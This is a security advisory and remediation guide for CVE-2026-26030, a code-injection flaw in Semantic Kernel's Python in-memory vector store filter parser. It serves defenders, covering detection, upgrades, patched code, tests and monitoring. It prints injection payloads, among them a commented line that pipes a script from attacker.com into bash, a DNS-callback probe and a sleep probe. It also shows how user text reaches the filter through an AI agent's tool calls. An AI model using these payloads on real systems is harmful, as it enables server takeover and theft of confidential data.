Executive Summary
CVE-2026-26030 is a critical (CVSS 10.0) remote code execution vulnerability in Microsoft's Semantic Kernel Python SDK, the AI orchestration framework used by thousands of applications to power Retrieval-Augmented Generation (RAG) pipelines and AI agents. The flaw resides in the InMemoryVectorStore filter expression parser, which unsafely evaluates attacker-controlled input as executable Python code. Any application using Semantic Kernel's in-memory vector store for query filtering is potentially exploitable by a low-privileged attacker with no user interaction required. Organizations must upgrade to semantic-kernel >= 1.39.4 immediately.
1. What Is This Vulnerability?
Microsoft's Semantic Kernel is a widely-adopted open-source SDK that lets developers build AI-powered applications on top of LLMs (like GPT-4, Claude, and others). It provides abstractions for memory, plugins, and vector stores — components that AI agents use to retrieve relevant context at runtime.
The vulnerability lives in the InMemoryVectorStore component, specifically in how it processes filter expressions during vector search queries. When a developer (or an end-user via an AI agent) supplies a filter expression to narrow search results, the SDK constructs Python code from that expression and evaluates it — without adequately sanitizing or restricting the input.
This falls under CWE-94: Improper Control of Generation of Code ("Code Injection"), a class of vulnerability where user-supplied input is incorporated into a code generation path and executed.
Vulnerable pattern (simplified):
# Affected versions: semantic-kernel < 1.39.4
# The filter string is built from user/agent-controlled input and executed:
results = await vector_store.search(
query="find documents about invoices",
filter="record.metadata['category'] == 'finance'" # <-- attacker-controlled
)
# Internally, the SDK evaluates this filter using Python's eval() or equivalent,
# allowing injection of arbitrary expressions:
# filter="__import__('os').system('curl http://attacker.com/shell.sh | bash')"
Proof-of-concept injection payload:
__import__('os').popen('id').read()
A crafted filter string like this, passed through any application interface that constructs Semantic Kernel queries from user input — including chat interfaces, API endpoints, or AI agent tool calls — results in arbitrary OS command execution.
Attack Vector
The attack surface is particularly broad in AI agent architectures. In a typical RAG pipeline:
- User sends a natural language query to a chat interface or API.
- The application passes user input to an AI agent that formulates a vector store query.
- The agent includes user-influenced text in the
filterparameter of anInMemoryVectorStoresearch call. - The SDK's filter parser evaluates the expression, executing injected code in the context of the server process.
Because many AI applications pass user messages relatively unmodified to the underlying SDK, the attack does not require any special privileges — only the ability to send a crafted message or API request.
Real-World Impact
Shortly after the advisory was published in March 2026, security researchers began documenting exploitation attempts in the wild. AI agent applications built for enterprise use — HR chatbots with document retrieval, legal AI tools doing RAG over internal contracts, financial assistants querying document stores — represent the highest-risk deployment targets. A successful attack can result in:
- Full server-side code execution under the application's runtime identity
- Exfiltration of in-memory vector data (potentially containing confidential documents)
- Lateral movement through internal networks using the compromised service's credentials
- Persistent backdoor installation if the process has write access to the filesystem
2. Who Is Affected?
| Component | Affected Versions |
|---|---|
semantic-kernel (PyPI) |
All versions < 1.39.4 |
| Semantic Kernel .NET SDK | Not affected by this specific CVE |
| Semantic Kernel Java SDK | Not affected by this specific CVE |
Affected deployment patterns:
- Any Python application using
InMemoryVectorStorewith filter expressions - AI agent pipelines that pass user-supplied text into vector store filters
- Applications using Semantic Kernel's built-in memory abstractions backed by
InMemoryVectorStore - LangChain, AutoGen, or custom agent frameworks that wrap Semantic Kernel's Python SDK
Not affected:
- Applications using only external vector databases (Chroma, Pinecone, Weaviate, Qdrant) through Semantic Kernel connectors — these implement their own filter evaluation server-side
- Applications that never use
InMemoryVectorStorefor filtered searches - .NET or Java implementations of Semantic Kernel
3. How to Detect It (Testing)
Manual Testing Steps
Step 1 — Identify entry points.
Audit your application for any place where user-supplied input could influence the filter argument of a InMemoryVectorStore.search() or VectorStoreRecordCollection.search() call. This includes direct API parameters, chat message content parsed by AI agents, and dynamically generated query pipelines.
Step 2 — Test filter injection. Send the following test payloads as part of any user-facing input that flows into a vector store filter:
# Payload 1: Safe read-only canary
__import__('os').popen('echo VULN_TEST_$$').read()
# Payload 2: DNS callback (use Burp Collaborator or interactsh)
__import__('socket').gethostbyname('UNIQUE-ID.oast.site')
# Payload 3: Time-based blind test
__import__('time').sleep(5)
Step 3 — Confirm exploitation.
- If the DNS callback fires, the server is evaluating your injection.
- If the application takes ≥5 seconds to respond after payload 3, blind code injection is confirmed.
- If the canary string appears in response data or server logs, the server is vulnerable.
Automated Scanning
Snyk:
pip install snyk
snyk test --package-manager=pip
# Look for: CVE-2026-26030 / GHSA-xjw9-4gw8-4rqx
pip-audit:
pip install pip-audit
pip-audit -r requirements.txt
# Expected output for vulnerable app:
# semantic-kernel 1.38.0 CVE-2026-26030 CRITICAL
OSV-Scanner:
osv-scanner --lockfile requirements.txt
# Matches against OSS vulnerability database including GitHub Security Advisories
OWASP Dependency-Check:
dependency-check.sh --project "MyApp" --scan . --format HTML
# Check for semantic-kernel entries flagged as CVE-2026-26030
Code Review Checklist
- Search all Python files for
InMemoryVectorStoreusage:grep -rn "InMemoryVectorStore" . - Check any
search()calls that pass afilterargument:grep -rn "\.search(" . | grep filter - Identify whether the filter string contains any user-controlled variable (request parameters, agent output, user messages)
- Verify
semantic-kernelversion inrequirements.txt,pyproject.toml, orsetup.cfg - Check
pip freezeoutput in staging/production for the installed version - Review AI agent tool definitions that interact with vector stores — does any tool allow user text in a filter field?
4. How to Fix It (Mitigation)
Step-by-Step Remediation
-
Upgrade
semantic-kernelto version 1.39.4 or higher.This is the only complete fix. The patch replaces unsafe code evaluation with a proper expression parser that uses an allowlist of safe attribute names and operators, eliminating the code injection pathway entirely.
-
Update your dependency file.
# requirements.txt — change: semantic-kernel==1.38.0 # VULNERABLE # to: semantic-kernel>=1.39.4 # PATCHED -
Apply the upgrade in your environment.
pip install --upgrade "semantic-kernel>=1.39.4" # Verify: pip show semantic-kernel | grep Version # Should show: Version: 1.39.4 (or higher) -
Rebuild and redeploy all Docker images and Lambda packages that embed the library. Pin to the new version in your container build steps.
-
Invalidate any cached or pre-built wheels that contain the old version, including in CI/CD artifact stores.
Code Fix Example
The core change in the patch is replacing dynamic eval()-style filter execution with a safe AST-based evaluator that only permits specific attribute access patterns:
Before (vulnerable — conceptual representation):
# Dangerous: raw eval of user-controlled filter string
def _apply_filter(record, filter_expr: str) -> bool:
return eval(filter_expr, {"record": record})
After (patched — safe allowlist approach):
# Safe: AST parsing with attribute allowlist
SAFE_ATTRIBUTES = {"id", "content", "metadata", "embedding", "score"}
def _apply_filter(record, filter_expr: FilterClause) -> bool:
# Only permit access to known-safe fields; raise on unknown attribute
field = filter_expr.field_name
if field not in SAFE_ATTRIBUTES:
raise ValueError(f"Filter field '{field}' is not permitted")
record_value = getattr(record, field, None)
return _compare(record_value, filter_expr.operator, filter_expr.value)
Configuration Hardening
Even after patching, consider these defensive configurations:
- Disable
InMemoryVectorStorein production if your workload can use an external vector database (Chroma, Qdrant, etc.). External stores do not suffer from this vulnerability and offer better scalability. - Run the AI application process with a dedicated low-privilege service account — minimize the blast radius if exploitation occurs anyway.
- Apply network egress filtering to the host running the AI agent, blocking unexpected outbound connections that would signal exploitation.
- Enable WAF rules for any HTTP endpoints that accept user queries destined for vector store searches.
5. How to Test the Fix (Validation)
Regression Test Scenarios
- Scenario A: Verify patch is applied — the upgrade to 1.39.4+ is reflected in the installed package list.
- Scenario B: Send the original injection payloads through all user-facing entry points — confirm the application does not execute them (no DNS callback, no delay, no unexpected output).
- Scenario C: Confirm that legitimate, safe filter expressions continue to work correctly and return expected results.
Security Test Cases
Test Case 1: Verify vulnerability no longer exists
- Precondition: Upgrade
semantic-kernelto 1.39.4 or higher. - Steps:
- Send
{"query": "invoices", "filter": "__import__('os').popen('id').read()"}to the search endpoint. - Check server logs for any OS command execution.
- Monitor DNS for any callback to your out-of-band server.
- Send
- Expected Result: The filter expression is rejected with a
ValueErroror equivalent, no OS command is executed, and the request fails safely.
Test Case 2: Confirm safe filter expressions still work
- Precondition: Upgrade applied and application running.
- Steps:
- Issue a legitimate search:
filter={"field_name": "category", "operator": "eq", "value": "finance"} - Verify results are returned as expected.
- Issue a legitimate search:
- Expected Result: Results are returned normally with no errors.
Automated Tests
import pytest
from semantic_kernel.connectors.memory.in_memory import InMemoryVectorStore
@pytest.mark.asyncio
async def test_injection_rejected():
"""Verify that code injection in filter expressions raises an error."""
store = InMemoryVectorStore()
malicious_filter = "__import__('os').popen('id').read()"
with pytest.raises((ValueError, TypeError, AttributeError)):
# Attempt to use injection payload as filter
await store.search("test query", filter=malicious_filter)
@pytest.mark.asyncio
async def test_safe_filter_accepted():
"""Verify that legitimate filter expressions still function."""
store = InMemoryVectorStore()
# Insert a test record and confirm filtered retrieval works
# (populate with test data per your schema)
results = await store.search("test query", filter={"field_name": "category", "operator": "eq", "value": "finance"})
assert isinstance(results, list) # Should succeed, not raise
6. Prevention & Hardening
Best Practices
- Never use
eval()orexec()on user-influenced data. This is the root cause of CVE-2026-26030 — applying this rule universally in your own code prevents entire classes of injection vulnerabilities. - Adopt dependency scanning as a CI gate. Tools like
pip-audit, Snyk, or Dependabot should block merges and deployments when critical CVEs are detected in direct or transitive dependencies. - Pin AI/ML library versions with verified SHAs in production. Fast-moving ecosystems like AI frameworks release frequently — explicit version pinning combined with automated update PRs (via Dependabot/Renovate) balances security and stability.
- Apply the principle of least privilege to AI agent processes. An agent that can only read documents and make outbound API calls to approved endpoints is far less dangerous when compromised than one with broad filesystem and network access.
- Regularly audit LLM agent tool definitions for injection risk. If an AI agent tool passes user-supplied natural language into a database filter, it is a potential injection vector regardless of the underlying technology.
Monitoring & Detection
Set up the following detection signals:
- Dependency vulnerability alerts: Enable GitHub Dependabot, GitLab security scanning, or Snyk on all repositories using Python AI/ML frameworks. Subscribe to
GHSA-xjw9-4gw8-4rqxnotifications. - Process anomaly detection: Alert on unexpected child process spawning from your AI agent service (e.g.,
bash,sh,curl,python -claunched by the application process). - Outbound network monitoring: Alert on unexpected outbound connections from your vector store host to uncommon external IPs or DNS lookups not in your baseline.
- Error log patterns: Surge in
ValueError,AttributeError, orFilterErrorexceptions from the vector store layer may indicate active probing. - SIEM rule: Correlate AI API errors with unusual downstream process activity as a behavioral indicator of attempted exploitation.
References
- CVE Entry: CVE-2026-26030 — NVD
- GitHub Security Advisory: GHSA-xjw9-4gw8-4rqx — microsoft/semantic-kernel
- GitLab Advisory Mirror: CVE-2026-26030 — advisories.gitlab.com
- Patch Release: semantic-kernel 1.39.4 on PyPI
- SANS @Risk Coverage: AtRisk March 19, 2026 Vol. XXVI
- Threat Intelligence: CVE-2026-26030 — THREATINT
- Wazuh Vulnerability DB: CVE-2026-26030